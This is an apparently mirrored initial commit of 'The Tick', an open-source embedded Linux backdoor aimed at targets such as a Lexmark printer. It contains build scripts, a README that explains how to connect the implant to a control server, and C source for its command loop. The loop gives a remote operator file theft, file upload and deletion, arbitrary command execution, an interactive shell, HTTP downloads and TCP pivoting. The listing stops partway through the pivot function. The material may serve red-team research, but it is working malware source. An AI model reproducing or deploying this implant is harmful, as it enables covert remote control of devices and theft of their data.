mirror of
https://github.com/nccgroup/thetick.git
synced 2023-12-14 04:33:00 +01:00
Initial commit.
This commit is contained in:
commit
576e7fc233
27 changed files with 4316 additions and 0 deletions
6
.gitignore
vendored
Normal file
6
.gitignore
vendored
Normal file
|
@ -0,0 +1,6 @@
|
|||
*.o
|
||||
*.s
|
||||
*.pyc
|
||||
*.pyo
|
||||
bin/
|
||||
.vscode/
|
165
LICENSE
Normal file
165
LICENSE
Normal file
|
@ -0,0 +1,165 @@
|
|||
GNU LESSER GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
|
||||
This version of the GNU Lesser General Public License incorporates
|
||||
the terms and conditions of version 3 of the GNU General Public
|
||||
License, supplemented by the additional permissions listed below.
|
||||
|
||||
0. Additional Definitions.
|
||||
|
||||
As used herein, "this License" refers to version 3 of the GNU Lesser
|
||||
General Public License, and the "GNU GPL" refers to version 3 of the GNU
|
||||
General Public License.
|
||||
|
||||
"The Library" refers to a covered work governed by this License,
|
||||
other than an Application or a Combined Work as defined below.
|
||||
|
||||
An "Application" is any work that makes use of an interface provided
|
||||
by the Library, but which is not otherwise based on the Library.
|
||||
Defining a subclass of a class defined by the Library is deemed a mode
|
||||
of using an interface provided by the Library.
|
||||
|
||||
A "Combined Work" is a work produced by combining or linking an
|
||||
Application with the Library. The particular version of the Library
|
||||
with which the Combined Work was made is also called the "Linked
|
||||
Version".
|
||||
|
||||
The "Minimal Corresponding Source" for a Combined Work means the
|
||||
Corresponding Source for the Combined Work, excluding any source code
|
||||
for portions of the Combined Work that, considered in isolation, are
|
||||
based on the Application, and not on the Linked Version.
|
||||
|
||||
The "Corresponding Application Code" for a Combined Work means the
|
||||
object code and/or source code for the Application, including any data
|
||||
and utility programs needed for reproducing the Combined Work from the
|
||||
Application, but excluding the System Libraries of the Combined Work.
|
||||
|
||||
1. Exception to Section 3 of the GNU GPL.
|
||||
|
||||
You may convey a covered work under sections 3 and 4 of this License
|
||||
without being bound by section 3 of the GNU GPL.
|
||||
|
||||
2. Conveying Modified Versions.
|
||||
|
||||
If you modify a copy of the Library, and, in your modifications, a
|
||||
facility refers to a function or data to be supplied by an Application
|
||||
that uses the facility (other than as an argument passed when the
|
||||
facility is invoked), then you may convey a copy of the modified
|
||||
version:
|
||||
|
||||
a) under this License, provided that you make a good faith effort to
|
||||
ensure that, in the event an Application does not supply the
|
||||
function or data, the facility still operates, and performs
|
||||
whatever part of its purpose remains meaningful, or
|
||||
|
||||
b) under the GNU GPL, with none of the additional permissions of
|
||||
this License applicable to that copy.
|
||||
|
||||
3. Object Code Incorporating Material from Library Header Files.
|
||||
|
||||
The object code form of an Application may incorporate material from
|
||||
a header file that is part of the Library. You may convey such object
|
||||
code under terms of your choice, provided that, if the incorporated
|
||||
material is not limited to numerical parameters, data structure
|
||||
layouts and accessors, or small macros, inline functions and templates
|
||||
(ten or fewer lines in length), you do both of the following:
|
||||
|
||||
a) Give prominent notice with each copy of the object code that the
|
||||
Library is used in it and that the Library and its use are
|
||||
covered by this License.
|
||||
|
||||
b) Accompany the object code with a copy of the GNU GPL and this license
|
||||
document.
|
||||
|
||||
4. Combined Works.
|
||||
|
||||
You may convey a Combined Work under terms of your choice that,
|
||||
taken together, effectively do not restrict modification of the
|
||||
portions of the Library contained in the Combined Work and reverse
|
||||
engineering for debugging such modifications, if you also do each of
|
||||
the following:
|
||||
|
||||
a) Give prominent notice with each copy of the Combined Work that
|
||||
the Library is used in it and that the Library and its use are
|
||||
covered by this License.
|
||||
|
||||
b) Accompany the Combined Work with a copy of the GNU GPL and this license
|
||||
document.
|
||||
|
||||
c) For a Combined Work that displays copyright notices during
|
||||
execution, include the copyright notice for the Library among
|
||||
these notices, as well as a reference directing the user to the
|
||||
copies of the GNU GPL and this license document.
|
||||
|
||||
d) Do one of the following:
|
||||
|
||||
0) Convey the Minimal Corresponding Source under the terms of this
|
||||
License, and the Corresponding Application Code in a form
|
||||
suitable for, and under terms that permit, the user to
|
||||
recombine or relink the Application with a modified version of
|
||||
the Linked Version to produce a modified Combined Work, in the
|
||||
manner specified by section 6 of the GNU GPL for conveying
|
||||
Corresponding Source.
|
||||
|
||||
1) Use a suitable shared library mechanism for linking with the
|
||||
Library. A suitable mechanism is one that (a) uses at run time
|
||||
a copy of the Library already present on the user's computer
|
||||
system, and (b) will operate properly with a modified version
|
||||
of the Library that is interface-compatible with the Linked
|
||||
Version.
|
||||
|
||||
e) Provide Installation Information, but only if you would otherwise
|
||||
be required to provide such information under section 6 of the
|
||||
GNU GPL, and only to the extent that such information is
|
||||
necessary to install and execute a modified version of the
|
||||
Combined Work produced by recombining or relinking the
|
||||
Application with a modified version of the Linked Version. (If
|
||||
you use option 4d0, the Installation Information must accompany
|
||||
the Minimal Corresponding Source and Corresponding Application
|
||||
Code. If you use option 4d1, you must provide the Installation
|
||||
Information in the manner specified by section 6 of the GNU GPL
|
||||
for conveying Corresponding Source.)
|
||||
|
||||
5. Combined Libraries.
|
||||
|
||||
You may place library facilities that are a work based on the
|
||||
Library side by side in a single library together with other library
|
||||
facilities that are not Applications and are not covered by this
|
||||
License, and convey such a combined library under terms of your
|
||||
choice, if you do both of the following:
|
||||
|
||||
a) Accompany the combined library with a copy of the same work based
|
||||
on the Library, uncombined with any other library facilities,
|
||||
conveyed under the terms of this License.
|
||||
|
||||
b) Give prominent notice with the combined library that part of it
|
||||
is a work based on the Library, and explaining where to find the
|
||||
accompanying uncombined form of the same work.
|
||||
|
||||
6. Revised Versions of the GNU Lesser General Public License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions
|
||||
of the GNU Lesser General Public License from time to time. Such new
|
||||
versions will be similar in spirit to the present version, but may
|
||||
differ in detail to address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Library as you received it specifies that a certain numbered version
|
||||
of the GNU Lesser General Public License "or any later version"
|
||||
applies to it, you have the option of following the terms and
|
||||
conditions either of that published version or of any later version
|
||||
published by the Free Software Foundation. If the Library as you
|
||||
received it does not specify a version number of the GNU Lesser
|
||||
General Public License, you may choose any version of the GNU Lesser
|
||||
General Public License ever published by the Free Software Foundation.
|
||||
|
||||
If the Library as you received it specifies that a proxy can decide
|
||||
whether future versions of the GNU Lesser General Public License shall
|
||||
apply, that proxy's public statement of acceptance of any version is
|
||||
permanent authorization for you to choose that version for the
|
||||
Library.
|
65
README.md
Normal file
65
README.md
Normal file
|
@ -0,0 +1,65 @@
|
|||
# The Tick
|
||||
|
||||
A simple embedded Linux backdoor.
|
||||
![Screenshot 1](doc/screenshot-big.png "Screenshot")
|
||||
|
||||
## Compiling
|
||||
|
||||
The Tick depends only on libcurl, so make sure you have the corresponding development package. For example on Debian based distributions you would do the following:
|
||||
|
||||
```
|
||||
sudo apt-get install libcurl-dev
|
||||
```
|
||||
|
||||
Once the dependencies are installed just run the makefile:
|
||||
|
||||
```
|
||||
make clean
|
||||
make
|
||||
```
|
||||
|
||||
When cross-compiling for supported platforms, the dependency resolution and compilation is done automatically for you. Currently the only supported cross-compiling platform is the Lexmark CX310DN printer. Consult the sources for more details.
|
||||
|
||||
## Installing
|
||||
|
||||
Obtaining persistence on the backdoor will depend heavily on the target platform, and therefore is not documented here.
|
||||
|
||||
The control console requires no installation, but may have unresolved dependencies. Run the following command to ensure all dependencies are properly installed (note this does not need sudo):
|
||||
|
||||
```
|
||||
pip install --upgrade -r requirements.txt
|
||||
```
|
||||
|
||||
In most Linux desktop environments the following "Tick.desktop" file will create an icon you can double click to run the console:
|
||||
|
||||
```
|
||||
[Desktop Entry]
|
||||
Encoding=UTF-8
|
||||
Value=1.0
|
||||
Type=Application
|
||||
Name=The Tick
|
||||
GenericName=The Tick
|
||||
Comment=An embedded Linux backdoor
|
||||
Icon=/opt/thetick/doc/logo.png
|
||||
Exec=/opt/thetick/tick.py
|
||||
Terminal=true
|
||||
Path=/opt/thetick/
|
||||
```
|
||||
|
||||
The exact location for the Tick.desktop file may vary across Linux distributions but generally placing it in the desktop should work. Make sure to edit the path to wherever you downloaded The Tick (/opt/thetick in the above example).
|
||||
|
||||
## Usage
|
||||
|
||||
To run the backdoor binary on the target platform, set the control server hostname and port as command line options. For example:
|
||||
|
||||
```
|
||||
./ticksvc control.example-domain.com 5555
|
||||
```
|
||||
|
||||
At the control server, you may want to run the console inside a GNU screen instance or similar. Here are a few screenshots illustrating what the console is capable of:
|
||||
|
||||
Command line switches
|
||||
![Screenshot 2](doc/screenshot-banners.png "Screenshot")
|
||||
|
||||
Interactive console help
|
||||
![Screenshot 3](doc/screenshot-help.png "Screenshot")
|
9
deps/lexmark-cx310dn/.gitignore
vendored
Normal file
9
deps/lexmark-cx310dn/.gitignore
vendored
Normal file
|
@ -0,0 +1,9 @@
|
|||
curl-*
|
||||
curl-*/
|
||||
curl
|
||||
openssl-*
|
||||
openssl-*/
|
||||
openssl
|
||||
zlib-*
|
||||
zlib-*/
|
||||
zlib
|
1
deps/lexmark-cx310dn/README
vendored
Normal file
1
deps/lexmark-cx310dn/README
vendored
Normal file
|
@ -0,0 +1 @@
|
|||
These dependencies are specific to the Lexmark CX310DN printer.
|
92
deps/lexmark-cx310dn/build-deps.sh
vendored
Executable file
92
deps/lexmark-cx310dn/build-deps.sh
vendored
Executable file
|
@ -0,0 +1,92 @@
|
|||
#!/bin/bash
|
||||
|
||||
# This script will build all the dependencies for The Tick for the Lexmark printer.
|
||||
|
||||
# Stop on any errors.
|
||||
set -e
|
||||
|
||||
# Make sure we are in the correct directory.
|
||||
pushd $(dirname $0) >/dev/null
|
||||
|
||||
# Download zlib.
|
||||
if [[ -f zlib/ChangeLog ]]
|
||||
then
|
||||
echo "zlib already downloaded"
|
||||
else
|
||||
wget https://www.zlib.net/zlib-1.2.11.tar.gz
|
||||
tar -xvzf zlib-1.2.11.tar.gz
|
||||
ln -s zlib-1.2.11 zlib
|
||||
fi
|
||||
|
||||
# Download openssl.
|
||||
if [[ -f openssl/CHANGES ]]
|
||||
then
|
||||
echo "openssl already downloaded"
|
||||
else
|
||||
wget https://www.openssl.org/source/old/1.0.2/openssl-1.0.2j.tar.gz
|
||||
tar -xvzf openssl-1.0.2j.tar.gz
|
||||
ln -s openssl-1.0.2j openssl
|
||||
fi
|
||||
|
||||
# Download curl.
|
||||
if [[ -f curl/CHANGES ]]
|
||||
then
|
||||
echo "curl already downloaded"
|
||||
else
|
||||
wget https://curl.haxx.se/download/curl-7.20.0.tar.bz2
|
||||
tar -xvjf curl-7.20.0.tar.bz2
|
||||
ln -s curl-7.20.0 curl
|
||||
fi
|
||||
|
||||
# Common variables.
|
||||
export CROSS_COMPILE_PREFIX="arm-linux-gnueabi"
|
||||
export AR=${CROSS_COMPILE_PREFIX}-ar
|
||||
export AS=${CROSS_COMPILE_PREFIX}-as
|
||||
export LD=${CROSS_COMPILE_PREFIX}-ld
|
||||
export RANLIB=${CROSS_COMPILE_PREFIX}-ranlib
|
||||
export CC=${CROSS_COMPILE_PREFIX}-gcc
|
||||
export NM=${CROSS_COMPILE_PREFIX}-nm
|
||||
|
||||
# Let's build zlib, the easiest one.
|
||||
pushd zlib >/dev/null
|
||||
if [[ -f libz.a && -f libz.so ]]
|
||||
then
|
||||
echo "zlib already built, skipping"
|
||||
else
|
||||
./configure --prefix=$(pwd)
|
||||
make clean
|
||||
make
|
||||
fi
|
||||
popd >/dev/null
|
||||
|
||||
# Let's build openssl next.
|
||||
pushd openssl >/dev/null
|
||||
if [[ -f libcrypto.a && -f libcrypto.so && -f libssl.a && -f libssl.so ]]
|
||||
then
|
||||
echo "openssl already built, skipping"
|
||||
else
|
||||
./Configure linux-generic32 shared -DL_ENDIAN --prefix=${PWD} --openssldir=${PWD}
|
||||
make clean
|
||||
make CC=arm-linux-gnueabi-gcc RANLIB=arm-linux-gnueabi-ranlib LD=arm-linux-gnueabi-ld MAKEDEPPROG=arm-linux-gnueabi-gcc PROCESSOR=ARM
|
||||
fi
|
||||
popd >/dev/null
|
||||
|
||||
# Let's build curl now. Depends on zlib and openssl.
|
||||
pushd curl >/dev/null
|
||||
if [[ -f lib/.libs/libcurl.a && -f lib/.libs/libcurl.so ]]
|
||||
then
|
||||
echo "curl already built, skipping"
|
||||
else
|
||||
export CROSS_COMPILE=${CROSS_COMPILE_PREFIX}
|
||||
export ROOTDIR="${PWD}"
|
||||
export CPPFLAGS="-I${ROOTDIR}/../openssl/include -I${ROOTDIR}/../zlib"
|
||||
export LDFLAGS="-L${ROOTDIR}/../openssl -L${ROOTDIR}/../zlib"
|
||||
export LIBS="-lssl -lcrypto"
|
||||
./configure --prefix=${ROOTDIR}/build --target=${CROSS_COMPILE} --host=${CROSS_COMPILE} --build=i586-pc-linux-gnu --with-ssl --with-zlib --with-random=/dev/urandom
|
||||
make clean
|
||||
make
|
||||
fi
|
||||
popd >/dev/null
|
||||
|
||||
# We're done!
|
||||
popd >/dev/null
|
BIN
doc/logo.png
Normal file
BIN
doc/logo.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 1.9 KiB |
BIN
doc/screenshot-banners.png
Normal file
BIN
doc/screenshot-banners.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 163 KiB |
BIN
doc/screenshot-big.png
Normal file
BIN
doc/screenshot-big.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 141 KiB |
BIN
doc/screenshot-help.png
Normal file
BIN
doc/screenshot-help.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 158 KiB |
5
requirements.txt
Normal file
5
requirements.txt
Normal file
|
@ -0,0 +1,5 @@
|
|||
#!pip install -r
|
||||
colorama
|
||||
argparse-color-formatter
|
||||
texttable
|
||||
web.py>=0.37
|
83
src/Makefile
Normal file
83
src/Makefile
Normal file
|
@ -0,0 +1,83 @@
|
|||
#
|
||||
# The Tick, a Linux embedded backdoor.
|
||||
#
|
||||
# Released as open source by NCC Group Plc - http://www.nccgroup.com/
|
||||
# Developed by Mario Vilas, mario.vilas@nccgroup.com
|
||||
# http://www.github.com/nccgroup/thetick
|
||||
#
|
||||
# See the LICENSE file for further details.
|
||||
#
|
||||
|
||||
##############################################################################
|
||||
# Uncomment all but one of the following to select the target for compilation:
|
||||
|
||||
TARGET="generic"
|
||||
#TARGET="lexmark-cx310dn"
|
||||
|
||||
##############################################################################
|
||||
# Source, object and binary files.
|
||||
|
||||
SRC=$(wildcard *.c)
|
||||
ASM=$(patsubst %.c,%.s,$(SRC))
|
||||
OBJ=$(patsubst %.c,%.o,$(SRC))
|
||||
BIN=../bin/ticksvc
|
||||
|
||||
##############################################################################
|
||||
# Platform dependent configuration.
|
||||
|
||||
# Cross-compile for the Lexmark CX310DN printer.
|
||||
ifeq ($(TARGET),"lexmark-cx310dn")
|
||||
CC=arm-linux-gnueabi-gcc
|
||||
AS=arm-linux-gnueabi-as -meabi=4
|
||||
ST=arm-linux-gnueabi-strip
|
||||
CPPFLAGS=-I../deps/$(TARGET)/curl/include -I./ -I../deps/$(TARGET)/openssl/include -I../deps/$(TARGET)/zlib
|
||||
LDDFLAGS=-L../deps/$(TARGET)/openssl -L../deps/$(TARGET)/zlib -L../deps/$(TARGET)/curl/lib/.libs -Wl,-rpath-link,../deps/$(TARGET)/openssl -Wl,-rpath-link,../deps/$(TARGET)/zlib -Wl,-rpath-link,../deps/$(TARGET)/curl/lib/.libs -lssl -lz -lcurl
|
||||
PRECMD=@bash -c "pushd ../deps/$(TARGET) >/dev/null ; ./build-deps.sh; popd >/dev/null"
|
||||
BINCMD=sed -i 's/libcurl.so.4/libcurl.so.5/g'
|
||||
POSTCMD=@true
|
||||
endif
|
||||
|
||||
# Compile for the local platform.
|
||||
ifeq ($(TARGET),"generic")
|
||||
CC=gcc
|
||||
AS=as
|
||||
ST=@true
|
||||
CPPFLAGS=-g
|
||||
LDDFLAGS=$$(pkg-config --libs --cflags libcurl)
|
||||
PRECMD=@true
|
||||
BINCMD=@true
|
||||
POSTCMD=@true
|
||||
endif
|
||||
|
||||
##############################################################################
|
||||
# Make targets.
|
||||
|
||||
.PHONY: all clean pre-build main-build post-build
|
||||
|
||||
all: post-build
|
||||
@echo Finished building for platform: $(TARGET)
|
||||
|
||||
pre-build:
|
||||
@echo Building for platform: $(TARGET)
|
||||
$(PRECMD)
|
||||
|
||||
main-build: pre-build
|
||||
@$(MAKE) --no-print-directory $(BIN)
|
||||
|
||||
post-build: main-build
|
||||
$(POSTCMD)
|
||||
|
||||
%.s: %.c
|
||||
$(CC) -S $< $(CPPFLAGS) -o $@
|
||||
|
||||
%.o: %.s
|
||||
$(AS) $< -o $@
|
||||
|
||||
$(BIN): $(OBJ)
|
||||
mkdir -p -- $$(dirname $@)
|
||||
$(CC) $(OBJ) $(LDDFLAGS) -o $@
|
||||
$(ST) $@
|
||||
$(BINCMD) $@
|
||||
|
||||
clean:
|
||||
rm -f -- $(ASM) $(OBJ) $(BIN)
|
553
src/command.c
Normal file
553
src/command.c
Normal file
|
@ -0,0 +1,553 @@
|
|||
/*
|
||||
* The Tick, a Linux embedded backdoor.
|
||||
*
|
||||
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
|
||||
* Developed by Mario Vilas, mario.vilas@nccgroup.com
|
||||
* http://www.github.com/nccgroup/thetick
|
||||
*
|
||||
* See the LICENSE file for further details.
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/statvfs.h>
|
||||
#include <libgen.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
|
||||
#include "shell.h"
|
||||
#include "tcp.h"
|
||||
#include "file.h"
|
||||
#include "http.h"
|
||||
#include "parser.h"
|
||||
|
||||
#include "command.h"
|
||||
|
||||
// Main command loop.
|
||||
int command_loop(Parser *p)
|
||||
{
|
||||
while (1) {
|
||||
|
||||
// Wait for the next command and read the command block header.
|
||||
// This call will block and reconnect if needed.
|
||||
parser_wait(p);
|
||||
|
||||
// Now depending on the command ID we will do a number of things.
|
||||
switch (p->header.cmd_id)
|
||||
{
|
||||
|
||||
// Just a simple no operation command. Useful for testing.
|
||||
case CMD_NOP:
|
||||
parser_ok(p);
|
||||
break;
|
||||
|
||||
// Kill command. Just kill the current process.
|
||||
// Global cleanup will be handled by the atexit routine.
|
||||
case CMD_SYSTEM_EXIT:
|
||||
printf("User requested termination.\n");
|
||||
parser_ok(p);
|
||||
parser_close(p);
|
||||
return 1;
|
||||
|
||||
// Fork the bot. This will create a new bot instance with a new UUID.
|
||||
case CMD_SYSTEM_FORK:
|
||||
do_system_fork(p);
|
||||
break;
|
||||
|
||||
// Run an interactive shell.
|
||||
// This command reuses the C&C connection.
|
||||
case CMD_SYSTEM_SHELL:
|
||||
do_system_shell(p);
|
||||
printf("Channel reused, reconnecting...\n");
|
||||
return 0;
|
||||
|
||||
// Grab a file from the target machine.
|
||||
case CMD_FILE_READ:
|
||||
do_file_read(p);
|
||||
break;
|
||||
|
||||
// Put a file into the target machine.
|
||||
case CMD_FILE_WRITE:
|
||||
do_file_write(p);
|
||||
break;
|
||||
|
||||
// Delete a file in the target machine.
|
||||
case CMD_FILE_DELETE:
|
||||
do_file_delete(p);
|
||||
break;
|
||||
|
||||
// Chmod a file in the target machine.
|
||||
case CMD_FILE_CHMOD:
|
||||
do_file_chmod(p);
|
||||
break;
|
||||
|
||||
// Run a non-interactive command and return the response.
|
||||
case CMD_FILE_EXEC:
|
||||
do_file_exec(p);
|
||||
break;
|
||||
|
||||
// Download a file into the target machine.
|
||||
case CMD_HTTP_DOWNLOAD:
|
||||
do_http_download(p);
|
||||
break;
|
||||
|
||||
// Domain name resolution.
|
||||
case CMD_DNS_RESOLVE:
|
||||
do_dns_resolve(p);
|
||||
break;
|
||||
|
||||
// Simple TCP pivot.
|
||||
// This command reuses the C&C connection.
|
||||
case CMD_TCP_PIVOT:
|
||||
do_tcp_pivot(p);
|
||||
printf("Channel reused, reconnecting...\n");
|
||||
return 0;
|
||||
|
||||
// Unsupported command.
|
||||
default:
|
||||
printf("Unsupported command: 0x%4x 0x%04x 0x%08x\n", p->header.cmd_id, p->header.cmd_len, p->header.data_len);
|
||||
parser_error(p, "not supported");
|
||||
break;
|
||||
}
|
||||
|
||||
// Skip any unread bytes from the socket until we reach the next command.
|
||||
parser_next(p);
|
||||
}
|
||||
}
|
||||
|
||||
void do_file_read(Parser *p)
|
||||
{
|
||||
int file = -1;
|
||||
char *filename = (char *) &p->buffer;
|
||||
struct stat info;
|
||||
|
||||
// Get the filename (first argument).
|
||||
if (parser_get_first_arg(p) < 0) {
|
||||
parser_error(p, "file name too long");
|
||||
return;
|
||||
}
|
||||
|
||||
// Make sure we have read access to the file.
|
||||
if (access(filename, F_OK) == -1) {
|
||||
printf("Cannot find %s\n", filename);
|
||||
parser_error(p, "file not found");
|
||||
return;
|
||||
}
|
||||
if (access(filename, R_OK) == -1) {
|
||||
printf("Cannot read %s\n", filename);
|
||||
parser_error(p, "file not readable");
|
||||
return;
|
||||
}
|
||||
|
||||
// Open the file.
|
||||
file = open(filename, O_RDONLY);
|
||||
if (file < 0) {
|
||||
printf("Cannot open %s\n", filename);
|
||||
parser_error(p, "cannot open file");
|
||||
return;
|
||||
}
|
||||
|
||||
// Make sure the file isn't empty.
|
||||
info.st_size = 0;
|
||||
stat(filename, &info);
|
||||
if (info.st_size == 0) {
|
||||
printf("Cannot stat or empty file %s\n", filename);
|
||||
parser_error(p, "cannot stat or empty file");
|
||||
return;
|
||||
}
|
||||
|
||||
// Make sure the file isn't too big to send.
|
||||
if (info.st_size > UINT32_MAX) {
|
||||
printf("File too large %s\n", filename);
|
||||
parser_error(p, "file too large");
|
||||
return;
|
||||
}
|
||||
|
||||
// Send the file in the response.
|
||||
// Close the connection if something goes wrong at this point.
|
||||
printf("Reading file %s\n", filename);
|
||||
parser_begin_response(p, CMD_STATUS_OK, info.st_size);
|
||||
if (copy_stream(file, p->fd, info.st_size) < 0) {
|
||||
parser_close(p);
|
||||
printf("Error sending file (%ld bytes)\n", info.st_size);
|
||||
} else {
|
||||
printf("Success (%ld bytes)\n", info.st_size);
|
||||
}
|
||||
close(file);
|
||||
}
|
||||
|
||||
void do_file_write(Parser *p)
|
||||
{
|
||||
int file = -1;
|
||||
int success = -1;
|
||||
size_t available = 0;
|
||||
char *filename = (char *) &p->buffer;
|
||||
char *pathname = NULL;
|
||||
struct statvfs info;
|
||||
|
||||
// Get the filename (first argument).
|
||||
if (parser_get_first_arg(p) < 0) {
|
||||
parser_error(p, "file name too long");
|
||||
return;
|
||||
}
|
||||
|
||||
// Make sure there's enough space in the target mount point.
|
||||
pathname = dirname(filename);
|
||||
if (statvfs(pathname, &info) < 0) {
|
||||
parser_error(p, "cannot stat target directory");
|
||||
return;
|
||||
}
|
||||
if (pathname == filename) {
|
||||
filename[strlen(filename)] = '/';
|
||||
}
|
||||
available = info.f_bfree * info.f_bsize;
|
||||
if (available < (size_t) p->header.data_len) {
|
||||
parser_error(p, "not enough free space");
|
||||
return;
|
||||
}
|
||||
|
||||
// Open the file for writing.
|
||||
file = open(filename, O_WRONLY | O_CREAT | O_TRUNC | O_SYNC, 0777);
|
||||
if (file < 0) {
|
||||
printf("Cannot open %s\n", filename);
|
||||
parser_error(p, "cannot open file");
|
||||
return;
|
||||
}
|
||||
|
||||
// Fix the mode (in case umask is messing with us).
|
||||
chmod(filename, 0777);
|
||||
|
||||
// Save the file data as it comes from the socket.
|
||||
printf("Writing file %s\n", filename);
|
||||
success = copy_stream(p->fd, file, p->header.data_len);
|
||||
close(file);
|
||||
if (success < 0) {
|
||||
printf("Error receiving file (%d bytes)\n", p->header.data_len);
|
||||
parser_error(p, "failed to write file");
|
||||
parser_close(p);
|
||||
} else {
|
||||
printf("Success (%d bytes)\n", p->header.data_len);
|
||||
parser_ok(p);
|
||||
}
|
||||
p->header.data_len = 0; // Make sure to reset this counter!
|
||||
}
|
||||
|
||||
void do_file_delete(Parser *p)
|
||||
{
|
||||
char *filename = (char *) &p->buffer;
|
||||
|
||||
// Get the filename (first argument).
|
||||
if (parser_get_first_arg(p) < 0) {
|
||||
parser_error(p, "file name too long");
|
||||
return;
|
||||
}
|
||||
|
||||
// Delete the file.
|
||||
if (unlink(filename) < 0) {
|
||||
printf("Error deleting file %s\n", filename);
|
||||
parser_error(p, "could not delete");
|
||||
} else {
|
||||
printf("Deleted file %s\n", filename);
|
||||
parser_ok(p);
|
||||
}
|
||||
}
|
||||
|
||||
void do_file_chmod(Parser *p)
|
||||
{
|
||||
char *filename = (char *) &p->buffer;
|
||||
uint16_t mode = 0;
|
||||
|
||||
// First two bytes of the first argument are the mode flags in network byte order.
|
||||
if (p->header.cmd_len < sizeof(mode) + 2) {
|
||||
printf("Malformed chmod command block\n");
|
||||
parser_error(p, "malformed command block");
|
||||
parser_close(p);
|
||||
}
|
||||
if (recv_block(p->fd, (char *) &mode, sizeof(mode)) < 0) {
|
||||
printf("Malformed chmod command block\n");
|
||||
parser_error(p, "malformed command block");
|
||||
parser_close(p);
|
||||
}
|
||||
p->header.cmd_len = p->header.cmd_len - sizeof(mode);
|
||||
mode = ntohs(mode);
|
||||
|
||||
// The following bytes of the first argument are the filename.
|
||||
if (parser_get_first_arg(p) < 0) {
|
||||
parser_error(p, "file name too long");
|
||||
return;
|
||||
}
|
||||
|
||||
// Chmod the file.
|
||||
if (chmod(filename, mode) < 0) {
|
||||
printf("Error changing file mode to %03o %s\n", mode, filename);
|
||||
parser_error(p, "could not chmod");
|
||||
} else {
|
||||
printf("Changed file mode to %03o %s\n", mode, filename);
|
||||
parser_ok(p);
|
||||
}
|
||||
}
|
||||
|
||||
void do_file_exec(Parser *p)
|
||||
{
|
||||
char *command = (char *) &p->buffer;
|
||||
uint16_t buffer_length = 0;
|
||||
char buffer[1024];
|
||||
|
||||
// Get the filename (first argument).
|
||||
if (parser_get_first_arg(p) < 0) {
|
||||
parser_error(p, "command line too long");
|
||||
return;
|
||||
}
|
||||
|
||||
// Execute the command.
|
||||
printf("Executing: %s\n", command);
|
||||
if (run_simple_command(command, (char *) buffer, sizeof(buffer))) {
|
||||
printf("Success\n");
|
||||
buffer_length = strlen(buffer);
|
||||
parser_begin_response(p, CMD_STATUS_OK, buffer_length);
|
||||
send_block(p->fd, buffer, buffer_length);
|
||||
} else {
|
||||
printf("Error\n");
|
||||
parser_error(p, "could not execute");
|
||||
}
|
||||
}
|
||||
|
||||
void do_http_download(Parser *p)
|
||||
{
|
||||
char *url = (char *) p->buffer;
|
||||
char filename[1024];
|
||||
|
||||
// The first argument is the URL.
|
||||
if (parser_get_first_arg(p) < 0) {
|
||||
parser_error(p, "url too long");
|
||||
return;
|
||||
}
|
||||
|
||||
// The second argument is the filename.
|
||||
if (parser_read_second_arg(p, (char *) &filename, sizeof(filename)) < 0){
|
||||
parser_error(p, "file name too long");
|
||||
return;
|
||||
}
|
||||
|
||||
// Download the file.
|
||||
printf("Downloading url %s\n", url);
|
||||
if (download_file(url, filename, 0) < 0) {
|
||||
printf("Error downloading file %s\n", filename);
|
||||
parser_error(p, "could not download");
|
||||
} else {
|
||||
printf("Downloaded file %s\n", filename);
|
||||
parser_ok(p);
|
||||
}
|
||||
}
|
||||
|
||||
void do_dns_resolve(Parser *p)
|
||||
{
|
||||
int entries = 0;
|
||||
uint32_t resp_size = 0;
|
||||
struct addrinfo* result = NULL;
|
||||
struct addrinfo* res = NULL;
|
||||
|
||||
// The first argument is the domain name to resolve.
|
||||
if (parser_get_first_arg(p) < 0) {
|
||||
parser_error(p, "domain name too long");
|
||||
return;
|
||||
}
|
||||
|
||||
// Resolve the domain name.
|
||||
printf("Resolving domain %s\n", (const char *) &p->buffer);
|
||||
if (getaddrinfo((const char *) &p->buffer, NULL, NULL, &result) != 0) {
|
||||
printf("Failed to resolve domain\n");
|
||||
parser_error(p, "could not resolve domain name");
|
||||
return;
|
||||
}
|
||||
|
||||
// Calculate the size of the response structure.
|
||||
// The response will be an array of structures in this format:
|
||||
// BYTE family (AF_INET or AF_INET6)
|
||||
// UCHAR[4 or 16] address (IPv4 or IPv6)
|
||||
entries = 0;
|
||||
resp_size = 0;
|
||||
for (res = result; res != NULL; res = res->ai_next) {
|
||||
if (res->ai_family == AF_INET && res->ai_protocol == IPPROTO_TCP) {
|
||||
resp_size += 5;
|
||||
entries++;
|
||||
} else if (res->ai_family == AF_INET6 && res->ai_protocol == IPPROTO_TCP) {
|
||||
resp_size += 17;
|
||||
entries++;
|
||||
}
|
||||
}
|
||||
printf("Found %d address(es)\n", entries);
|
||||
|
||||
// Send the response.
|
||||
parser_begin_response(p, CMD_STATUS_OK, resp_size);
|
||||
for (res = result; res != NULL; res = res->ai_next) {
|
||||
if (res->ai_family == AF_INET && res->ai_protocol == IPPROTO_TCP) {
|
||||
send_block(p->fd, (const char *) &res->ai_family, 1);
|
||||
send_block(p->fd, (const char *) &((struct sockaddr_in *) res->ai_addr)->sin_addr, 4);
|
||||
} else if (res->ai_family == AF_INET6 && res->ai_protocol == IPPROTO_TCP) {
|
||||
send_block(p->fd, (const char *) &res->ai_family, 1);
|
||||
send_block(p->fd, (const char *) &((struct sockaddr_in6 *) res->ai_addr)->sin6_addr, 16);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void do_tcp_pivot(Parser *p)
|
||||
{
|
||||
int sock = -1;
|
||||
